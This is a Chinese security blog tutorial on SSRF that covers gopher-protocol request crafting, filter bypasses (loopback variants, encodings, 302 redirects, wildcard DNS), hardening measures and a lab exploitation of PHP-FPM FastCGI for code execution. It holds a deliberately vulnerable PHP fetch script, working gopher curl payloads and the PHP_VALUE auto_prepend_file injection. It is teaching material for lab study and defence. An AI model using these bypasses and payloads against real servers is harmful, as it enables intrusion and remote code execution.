2024全网最全面及最新且最为详细的网络安全技巧五 之 SSRF 漏洞EXP技巧,典例分析以及 如何修复 (下册)———— 作者:LJS

news2024/11/13 8:43:54
  • 五.SSRF 漏洞EXP技巧,典例分析以及 如何修复 (下册)

  • 目录

    五.SSRF 漏洞EXP技巧,典例分析以及 如何修复 (下册)

    5.4gopher 协议初探

    0x01 Gopher协议

    0x02 协议访问学习

    复现环境

    centos7 + kali 2018

    发送http get请求

    发送http post请求

     5.5 SSRF的防御与绕过

    0x01 常见的过滤

    0x02 绕过

    点分割符号替换

    本地回环地址

    IP的进制转换

    封闭式字母数字 (Enclosed Alphanumerics)字符

    URL十六进制编码

    利用网址缩短

    利用30X重定向

    补充vps:

    DNS解析

    xip.io

    SSRF的测试工具

    SSRFmap

    SSRF-Testing

    redis-over-gopher

    SSRF的加固

    5.6ssrf攻击fastcgi复现及环境搭建

    环境搭建

    开始攻击

    5.8 SSRF漏洞之FastCGI利用篇

    0x00.PHP-FPM FastCGI 未授权利用

    0x01.CGI、FastCGI、PHP-FPM

    PHP-FPM通信方式

    0x02.FastCGI攻击原理

    FastCGI协议

    漏洞原理

    0x03.SSRF攻击本地的PHP-FPM


  • 5.4gopher 协议初探

  • 最近两天看到了字节脉搏实验室公众号上有一篇《Gopher协议与redis未授权访问》的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下。
  • 0x01 Gopher协议

  • gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

  • 它只支持文本,不支持图像

  • 0x02 协议访问学习

  • 我们现在最多看到使用这个协议的时候都是在去ssrfredis shell、读mysql数据的时候,由于之前对这个协议了解不是很熟,所以这次看到这篇文章后打算借此学习一下他的通信方式

  • 首先最基础的看一下它如何发送get请求

  • 复现环境

  • centos7 + kali 2018
  • centos7主机使用nc监听端口,nc -lvp 6666

  • 然后用kali使用curl gopher://ip:6666/_abcd发送gopher get请求,可以发现_不会被显示

  • gopher协议格式:gopher://IP:port/_{TCP/IP数据流}

    gopher

    gopher

  • 发送http get请求
  • 在gopher协议中发送HTTP的数据,需要以下三步

  • 构造HTTP数据包

  • URL编码、替换回车换行为%0d%0aHTTP包最后加%0d%0a`代表消息结束

  • 发送gopher协议, 协议后的IP一定要接端口

  • curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a

  • get.php中写入<?php echo "Hello"." ".$_GET['param']."\n"?>

  • 此外自己本地测试时要注意将防火墙关掉

    gopher

  • 发送http post请求
  • POSTGET传参的区别:它有4个参数为必要参数

  • 需要传递Content-Type,Content-Length,host,post的参数

  • post.php中写入<?php echo "Hello".$_POST['name']."\n";?>

    POST与GET传参的区别:它有4个参数为必要参数
    
    POST /post.php HTTP/1.1host:192.168.194.1Content-Type:application/x-www-form-urlencodedContent-Length:12name=purplet
    
    如下构造:
    
    curl gopher://192.168.194.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

​​​​​​​

  •  5.5 SSRF的防御与绕过

  • SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤
  • 一般的防御措施是对URL参数进行过滤,或者使得URL参数用户不可控,但当过滤方法不当时,就存在Bypass的不同方式
  • 0x01 常见的过滤

  • 过滤开头不是http://xxx.com的所有链接
  • 过滤格式为ip的链接,比如127.0.0.1
  • 结尾必须是某个后缀
  • 0x02 绕过

  • http://www.baidu.com@10.10.10.10http://10.10.10.10请求是相同的
  • 该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。
  • 原理如下:利用解析URL时的规则问题。
  • 一般情况下利用URL解析导致SSRF过滤被绕过基本上都是因为后端通过不正确的正则表达式对URL进行了解析。而在2017年的Blackhat大会上,Orange Thai 在blackhat中发表的演讲《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! 》中介绍了SSRF攻击的一个新的角度———利用不同编程语言对URL的处理标准来绕过SSRF过滤,从而实施攻击。该方式主要是利用URL解析器和URL请求器之间的差异性发起攻击,由于不同的编程语言实现URL解析和请求是不一样的,所以很难验证一个URL是否合法
  • 很难验证一个URL是否合法的原因在于:
  • 1.在 RFC2396/RFC3986 中进行了说明,但是也仅仅是说明2.WHATWG(网页超文本应用技术工作小组)定义了一个基于RFC协议的具体实现,但是不同的编程语言仍然使用他们自己的实现。
  • 下图展示了cURL请求函数与其他语言解析函数结合使用时,由于差异性造成的漏洞。(本图加载时出现了问题)
  • 可以得知,NodeJS url、Perl URI、Go net/url、PHP parser_url以及Ruby addressable解析函数与cURL libcurl请求函数差异性都可能造成漏洞的产生
  • 下图的实例中,我们看到上述所述编程语言的解析函数得到的IP是google.com,而cURL请求得到的却是evil.com:80
  • 点分割符号替换
  • 在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用来代替:
  • http://www。qq。com
    http://www。qq。com
    http://www.qq.com
    无效的绕过方式
  • 本地回环地址
  • 127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
  • http://127.0.0.1 
    http://localhost 
    http://127.255.255.254 
    127.0.0.1 - 127.255.255.254 
    http://[::1] 
    http://[::ffff:7f00:1] 
    http://[::ffff:127.0.0.1] 
    http://127.1 
    http://127.0.1 
    http://0:80
  • IP的进制转换
  • IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。通常用“点分十进制”表示成(a.b.c.d)的形式,所以IP地址的每一段可以用其他进制来转换。 IPFuscator 工具可实现IP地址的进制转换,包括了八进制、十进制、十六进制、混合进制。在这个工具的基础上添加了IPV6的转换和版本输出的优化。
  • 在脚本对IP进行八进制转换时,一些情况下会在字符串末尾多加一个L。
  • 封闭式字母数字 (Enclosed Alphanumerics)字符
  • 封闭式字母数字是一个由字母数字组成的Unicode印刷符号块,使用这些符号块替换域名中的字母也可以被浏览器接受。在浏览器测试中只有下列单圆圈的字符可用:
  • List:
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
    ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
    ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
    ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
    Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
    ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
    ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
    ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
    ⓧⓘⓐⓝⓞⓤⓟⓔⓝⓖ.ⓒⓞⓜ 
    ①⑦②.①⑥.⑥⓪.①⑥⑥
    经测试,不可行,也许有其他方式
  • 浏览器访问时会自动识别成拉丁英文字符:
  • ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
  • URL十六进制编码
  • URL十六进制编码可被浏览器正常识别,编码脚本:
  • #-*- coding:utf-8 -*- 
    data = "www.qq.com"; 
    alist = [] 
    for x in data: 
        for i in range(0, len(x), 2): 
            alist.append((x[i:i+2]).encode('hex')) 
    print "http://%"+'%'.join(alist)
  • 利用网址缩短
  • 网上有很多将网址转换未短网址的网站。
  • 利用30X重定向
  • 可以使用重定向来让服务器访问目标地址,可用于重定向的HTTP状态码:300、301、302、303、305、307、308。
  • 需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中
  • 补充vps:
  • VPS是Virtual Private Server的缩写,即虚拟私人服务器。它是通过虚拟化技术在物理服务器上划分出的一部分资源,每个VPS都像一个独立的服务器,具有自己的操作系统、CPU、内存、存储空间和网络连接。
    
    **VPS的一些关键特点和用途包括**:
    
    1. **资源隔离**:每个VPS都有独立的资源,不会受到其他VPS影响。
       
    2. **灵活性**:可以根据需求选择不同的操作系统、配置以及应用程序部署。
    
    3. **成本效益**:相比于独立服务器,VPS通常价格更为经济,适合中小型网站和应用的运行。
    
    4. **易于管理**:提供了方便的控制面板和远程访问方式,管理者可以通过这些接口轻松管理VPS的配置和运行状态。
    
    5. **安全性**:VPS之间是隔离的,因此安全性较高,一般不会因为其他VPS的问题而受到影响。
    
    对于你的需求,部署302重定向代码到VPS上可以通过以下步骤完成:
    
    1. **选择VPS提供商**:选择一个信誉良好的VPS提供商,比如DigitalOcean、Linode、AWS等。注册账号并购买适合你需求的VPS实例。
    
    2. **配置VPS**:在VPS提供商的管理控制面板中,选择你购买的VPS实例,并进行初始化配置。这通常包括选择操作系统、设置主机名、SSH密钥等。
    
    3. **连接到VPS**:使用SSH客户端连接到你的VPS,可以在命令行中操作VPS。例如,使用`ssh username@vps_ip_address`命令连接。
    
    4. **部署代码**:将你的302重定向代码上传到VPS中,可以通过FTP、SCP或者Git等方式上传到VPS的合适目录中,通常是Web服务器的根目录或者虚拟主机目录下。
    
    5. **配置Web服务器**:如果你使用的是Apache、Nginx等Web服务器,确保配置正确的重定向规则,以便访问VPS时能够正确执行302重定向。
    
    6. **测试和调试**:完成部署后,通过浏览器或者curl命令等方式测试你的302重定向是否正确工作。确保访问VPS时能够成功跳转到内网中指定的地址。
    
    7. **监控和维护**:定期监控VPS的运行状态和安全性,及时更新操作系统和相关软件,以确保VPS的稳定和安全运行。
    
    
  • 服务端代码如下:
  • <?php 
    header("Location: http://192.168.1.10");
    exit(); 
    ?>
  • DNS解析
  • 配置域名的DNS解析到目标地址(A、cname等),这里有几个配置解析到任意的地址的域名:
  • nslookup 127.0.0.1.nip.io
    
    nslookup owasp.org.127.0.0.1.nip.io
    在内网外网可以解析
  • xip.io
  • xip.io是一个开源泛域名服务。它会把如下的域名解析到特定的地址,其实和dns解析绕过一个道理。
  • http://10.0.0.1.xip.io = 10.0.0.1
    www.10.0.0.1.xip.io= 10.0.0.1
    http://mysite.10.0.0.1.xip.io = 10.0.0.1
    foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
    10.0.0.1.xip.name resolves to 10.0.0.1
    www.10.0.0.2.xip.name resolves to 10.0.0.2
    foo.10.0.0.3.xip.name resolves to 10.0.0.3
    bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4
    不可行 在内网外网不能解析
  • SSRF的测试工具
  • SSRFmap
  • SSRFmap-master - 可以在一个请求包中指定SSRF的位置,工具根据模块来发送EXP,支持了下列漏洞的利用:
  • 帮助说明如下:
  • SSRF-Testing
  • SSRF-Testing-master - 常用的SSRF绕过测试
  • https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-172472-1641438206.png
  • redis-over-gopher
  • redis-over-gopher - 将请求转换为gopher协议格式
  • https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-172472-1641438208.png
  • SSRF的加固

  • •禁止302跳转,或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
  • •过滤返回信息,验证远程服务器对请求的返回结果,是否合法。
  • •禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
  • •设置URL白名单或者限制内网IP
  • •限制请求的端口为http的常用端口,或者根据业务需要治开放远程调用服务的端口
  • •catch错误信息,做统一错误信息,避免黑客通过错误信息判断端口对应的服务
  •  

 

  • 5.6 ssrf攻击fastcgi复现及环境搭建

  • 环境搭建

  • 7.2版本的成功复现
  • docker run -it --name t1 -p 127.0.0.1:12313:80 ubuntu
    先docker 起一个干净的ubuntu
  • 图片.png

  • 这里可以看到端口已经成功映射过来了
  • 简单解释几下,先增加一些其他的源,然后down下来php7.2以及他的一些扩展,还有nginx 修改nginx,和php-fpm的配置文件
  • 主要配置文件修改的就是这几个地方
    
    fpm的www.conf文件
    listen = 127.0.0.1:9000
    
    nginx的default文件
    fastcgi_pass 127.0.0.1:9000;
  •  然后在/var/www/html目录下创建
  • /*phpinfo.php
    1.php*/
    <?php
    highlight_file(__FILE__); // 在页面上高亮显示当前文件的源代码,便于调试和分析
    
    $url = $_GET['url']; // 从URL参数中获取名为'url'的值,这个值应该是用户提供的URL
    
    $curl = curl_init($url); // 初始化一个curl会话,准备从用户提供的URL获取内容
    
    curl_setopt($curl, CURLOPT_HEADER, 0); // 设置curl选项,禁止将HTTP头包含在输出中
    
    $responseText = curl_exec($curl); // 执行curl会话并获取内容,将内容保存在$responseText中
    
    echo $responseText; // 输出从用户提供的URL获取的内容
    
    curl_close($curl); // 关闭curl会话,释放资源
    ?>
    
  • 开始攻击

  • 很明显的ssrf漏洞了
  • http://127.0.0.1:12313/1.php?url=http://www.baidu.com
  • 可以成功返回百度页面
  • 利用gopher协议去伪造请求
  • 用Gopherus-master工具生成exp
  • 图片.png

  • 图片.png

  • 可以看到成功执行命令了

 

  • 5.7 SSRF漏洞之FastCGI利用篇

  • SSRF–(Server-side Request Forge, 服务端请求伪造)
  • 定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务
  • SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击FastCGIimage-20210224111821069
  • 0x00.PHP-FPM FastCGI 未授权利用

  • 首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害
  • # 保证实验vps具有git、docker、pip、docker-compose、python基础环境
    ## 下载vulhub靶场资源
    git clone https://github.com/vulhub/vulhub.git
    ## 找到fpm Fastcgi目录,一键搭建漏洞环境
    docker-compose up -d
  •  image-20210225153035133环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口
  • image-20210225154642500
  • image-20210225155548429
  • 成成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限
  • 看到这里,相比同学们都很好奇为何只是开启9000端口就造成任意命令执行了呢?
  • 啥是PHP-FPM,FastCGI又是啥(大佬请略过0x01章节~)
  • 接下来,我们一起探究漏洞的原理和具体的利用过程吧~
  • 0x01.CGI、FastCGI、PHP-FPM

  • 我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者
  • 当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理img
  •  
  • 当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器
  • 接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程 这其中,引出如下概念:
  • CGI:是 Web Server 与 Web Application 之间数据交换的一种协议
    **FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
    **PHP-CGI:**是 PHP(Web Application)对 Web Server 提供的 CGI 协议的接口程序
    **PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能
  • PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_module、CGI、FastCGI,给IIS的ISAPI,以及Shell的CLI
  • 经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + PHP-FPM(PHP-CGI)方式FastCGI工作原理image-20210317142528149
  •  
  • Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)
    
    FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
    Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
    CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
    CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接
  • 由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。
  • PHP-FPM通信方式
  • 在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式
  • TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),
    然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,
    PHP-FPM拿到数据后会调用CGI进程解析
    
    Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,
    以文件(一般是.sock)作为socket的唯一标识(描述符),
    需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
    上述原理图中提到的Socket 通信即为此模式
  •  
  • 配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行
  • 0x02.FastCGI攻击原理

  • FastCGI协议
  • HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议
  • Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
  • record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
  • typedef struct {
      /* Header */
      unsigned char version;         // FastCGI 协议版本号
      unsigned char type;            // 记录类型(如请求、响应等)
      unsigned char requestIdB1;     // 请求ID的高字节
      unsigned char requestIdB0;     // 请求ID的低字节
      unsigned char contentLengthB1; // 内容体长度的高字节
      unsigned char contentLengthB0; // 内容体长度的低字节
      unsigned char paddingLength;   // 额外填充块的大小
      unsigned char reserved;        // 保留字段,未使用
    
      /* Body */
      unsigned char contentData[contentLength];   // 内容体数据
      unsigned char paddingData[paddingLength];   // 填充数据
    } FCGI_Record;
    
  • 语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,
    然后再在TCP流里读取大小等于contentLength的数据,这就是body体
    
    Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,
    起保留作用不需要该Padding的时候,将其长度设置为0即可
    
    可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节
  • 其中,header中的type代表本次record的类型,所有值及具体含义如下
  • image-20210317165945168
  • 服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record
  • 举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:
  • {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',   # 网关接口的版本,这里是FastCGI协议的版本号
        'REQUEST_METHOD': 'GET',              # HTTP请求方法,这里是GET请求
        'SCRIPT_FILENAME': '/var/www/html/index.php',  # 被执行的脚本的文件名
        'SCRIPT_NAME': '/index.php',          # 脚本名称,相对于DOCUMENT_ROOT的路径
        'QUERY_STRING': '?a=1&b=2',           # 请求的查询字符串
        'REQUEST_URI': '/index.php?a=1&b=2',  # 包含查询字符串的完整请求URI
        'DOCUMENT_ROOT': '/var/www/html',     # 当前运行脚本的文档根目录
        'SERVER_SOFTWARE': 'php/fcgiclient',  # 服务器软件名称及版本
        'REMOTE_ADDR': '127.0.0.1',           # 客户端的IP地址
        'REMOTE_PORT': '12345',               # 客户端的端口号
        'SERVER_ADDR': '127.0.0.1',           # 服务器的IP地址
        'SERVER_PORT': '80',                  # 服务器的端口号
        'SERVER_NAME': "localhost",           # 服务器的主机名
        'SERVER_PROTOCOL': 'HTTP/1.1'         # 使用的协议及版本
    }
    
  • 个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”
  • 当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
  • 漏洞原理
  • 到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信
  • 此时,我们自行构造SCRIPT_FILENAME的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd
  • 但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions选项
  • ; Limits the extensions of the main script FPM will allow to parse. This can
    ; prevent configuration mistakes on the web server side. You should only limit
    ; FPM to .php extensions to prevent malicious users to use other extensions to
    ; exectute php code.
    ; Note: set an empty value to allow all extensions.
    ; Default Value: .php
    ;security.limit_extensions = .php .php3 .php4 .php5 .php7
  • 其限定了只有某些后缀的文件允许被FPM执行,默认是.php
  • 因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:
  • 通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径

  • 找安装PHP后默认存在的PHP文件,如/usr/local/lib/php/PEAR.php

  • 现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的
  • PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file
  • auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
    auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件
  • 我们设置auto_prepend_filephp://inputallow_url_include=on),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了
  • 那么我们如何设置PHP.INI中auto_prepend_file的值呢?
  • 我们可以通过PHP-FPM的两个环境变量,PHP_VALUE PHP_ADMIN_VALUE来设置PHP.INIimage-20210317212605153
  •  最终,我们设置向PHP-FPM传递的环境变量:
  • {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',  # FastCGI协议版本
        'REQUEST_METHOD': 'GET',  # 请求方法,这里是GET请求
        'SCRIPT_FILENAME': '/var/www/html/index.php',  # 被执行脚本的文件名
        'SCRIPT_NAME': '/index.php',  # 脚本的名称
        'QUERY_STRING': '?a=1&b=2',  # 查询字符串
        'REQUEST_URI': '/index.php?a=1&b=2',  # 包含了请求的URI的字符串
        'DOCUMENT_ROOT': '/var/www/html',  # 当前运行脚本所在的文档根目录
        'SERVER_SOFTWARE': 'php/fcgiclient',  # 服务器标识字符串
        'REMOTE_ADDR': '127.0.0.1',  # 客户端的IP地址
        'REMOTE_PORT': '12345',  # 客户端的端口号
        'SERVER_ADDR': '127.0.0.1',  # 服务器的IP地址
        'SERVER_PORT': '80',  # 服务器的端口号
        'SERVER_NAME': "localhost",  # 服务器的主机名
        'SERVER_PROTOCOL': 'HTTP/1.1',  # 请求使用的协议版本
        'PHP_VALUE': 'auto_prepend_file = php://input',  # PHP配置选项,用于指定自动预加载的文件为php://input
        'PHP_ADMIN_VALUE': 'allow_url_include = On'  # PHP管理员配置选项,允许包含远程文件
    }
    
  • 最后两行设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码
  • 0x03.SSRF攻击本地的PHP-FPM

  • 生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1911904.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

☺初识c++(语法篇)☺

目录 一命名空间&#xff08;namespace&#xff09;&#xff1a; 二cout与cin简述&#xff1a; 三缺省参数&#xff1a; 四函数重载&#xff1a; 五引用&#xff1a; 六内联函数: 七c中的nullptr简述&#xff1a; 一命名空间&#xff08;namespace&#xff09;&#xff1…

Chromium编译指南2024 Linux篇-同步Chromium第三方库(四)

1.引言 在成功拉取Chromium源码并创建新分支后&#xff0c;我们需要进一步配置开发环境。这包括拉取必要的第三方库以及设置hooks&#xff0c;以确保我们能够顺利进行编译和开发工作。以下步骤将详细介绍如何进行这些配置。 2.拉取第三方库以及hooks Chromium 使用了大量的第…

2024第六届上海国际新材料展览会-12月精彩呈现

2024第六届上海国际新材料展览会 The 6th shanghai International New Materials Exhibition in 2024 时 间&#xff1a;2024年12月18-20日 地 点&#xff1a;上海新国际博览中心 CIME 2024专业、权威&#xff0c;涵盖整个新材料行业的国际盛会。 期待与您在CIME 2024现场相…

24-7-9-读书笔记(九)-《爱与生的苦恼》[德]叔本华 [译]金玲

文章目录 《爱与生的苦恼》阅读笔记记录总结 《爱与生的苦恼》 《爱与生的苦恼》叔本华大佬的名书&#xff0c;里面有其“臭名昭著”的《论女人》&#xff0c;抛开这篇其他的还是挺不错的&#xff0c;哲学我也是一知半解&#xff0c;这里看得也凭喜好&#xff0c;这里记录一些自…

大模型/NLP/算法面试题总结2——transformer流程//多头//clip//对比学习//对比学习损失函数

用语言介绍一下Transformer的整体流程 1. 输入嵌入&#xff08;Input Embedding&#xff09; 输入序列&#xff08;如句子中的单词&#xff09;首先通过嵌入层转化为高维度的向量表示。嵌入层的输出是一个矩阵&#xff0c;每一行对应一个输入单词的嵌入向量。 2. 位置编码&…

Qt 创建的窗口一闪而过【已解决】

Qt 创建的窗口一闪而过 引言一、详细的解决方案 - 附代码二、参考博文 引言 创建的窗口一闪而过&#xff0c;就是创建完立马被销毁了&#xff0c;常见情况是在一个函数中创建窗口并show() - 即创建在了栈上&#xff0c;函数结束局部变量(窗口)自动被释放。主流的解决方法有两种…

(HAL)stm32f407+freertos通过usb驱动移远4G模块-EC600U

概述 本篇文章主要介绍: 如何使用STM32CubeMX创建stm32F407+freertos+usb host的基础工程。USB-HOST-CDC驱动运行过程。如何根据4G模块的具体信息修改usb相关代码。MCU如何通过usb与4G模块通信,收发数据。调试过程中遇到的问题以及解决办法。 整个过程中在网上搜罗了很多参考…

机场的出租车问题折线图

分析并可视化机场离场车辆数数据 本文将详细介绍如何使用Python的正则表达式库re和绘图库matplotlib对机场离场车辆数数据进行分析和可视化。以下是具体步骤和代码实现。 数据资源&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1rU-PRhrVSXq-8YdR6obc6Q?pwd1234 提…

干货:高水平论文写作思路与方法

前言:Hello大家好,我是小哥谈。高水平论文的写作需要扎实的研究基础和严谨的思维方式。同时,良好的写作技巧和时间管理也是成功的关键。本篇文章转载自行业领域专家所写的一篇文章,希望大家阅读后可以能够有所收获。🌈 目录 🚀1.依托事实/证据,通过合理的逻辑,…

每日刷题(二分查找,匈牙利算法,逆序对)

目录 1.Sarumans Army 2.Catch That Cow 3.Drying 4.P3386 【模板】二分图最大匹配 5. Swap Dilemma 1.Sarumans Army 3069 -- Sarumans Army (poj.org) 这道题就是要求我们在给的的位置放入 palantir&#xff0c;每个 palantir有R大小的射程范围&#xff0c;要求求出最少…

C# Bitmap类型与Byte[]类型相互转化详解与示例

文章目录 一、Bitmap类型转Byte[]类型使用Bitmap类的Save方法使用Bitmap类的GetBytes方法 二、Byte[]类型转Bitmap类型使用MemoryStream将Byte[]数组转换为Bitmap对象使用System.Drawing.Imaging.BitmapImage类 总结 在C#编程中&#xff0c;Bitmap类型和Byte[]类型之间的相互转…

【刷题汇总 -- 求最小公倍数、数组中的最长连续子序列、字母收集】

C日常刷题积累 今日刷题汇总 - day0081、求最小公倍数1.1、题目1.2、思路1.3、程序实现 -- 穷举法1.2、程序实现 -- 辗转相除法 2、数组中的最长连续子序列2.1、题目2.2、思路2.3、程序实现 3、字母收集3.1、题目3.2、思路3.3、程序实现 4、题目链接 今日刷题汇总 - day008 1、…

01:简易的电动车防盗报警器

简易的电动车防盗报警器 1、震动传感器模块的使用2、使用震动传感器模块控制继电器开关3、433M无线发射接收模块的使用 需要材料&#xff1a; 1、51单片机 2、震动传感器模块 3、继电器模块 4、高功率喇叭 5、433M无线发射接收模块 6、弱干杜邦线 1、震动传感器模块的使用 接好…

13 - matlab m_map地学绘图工具基础函数 - 介绍创建管理颜色映射的函数m_colmap和轮廓图绘制颜色条的函数m_contfbar

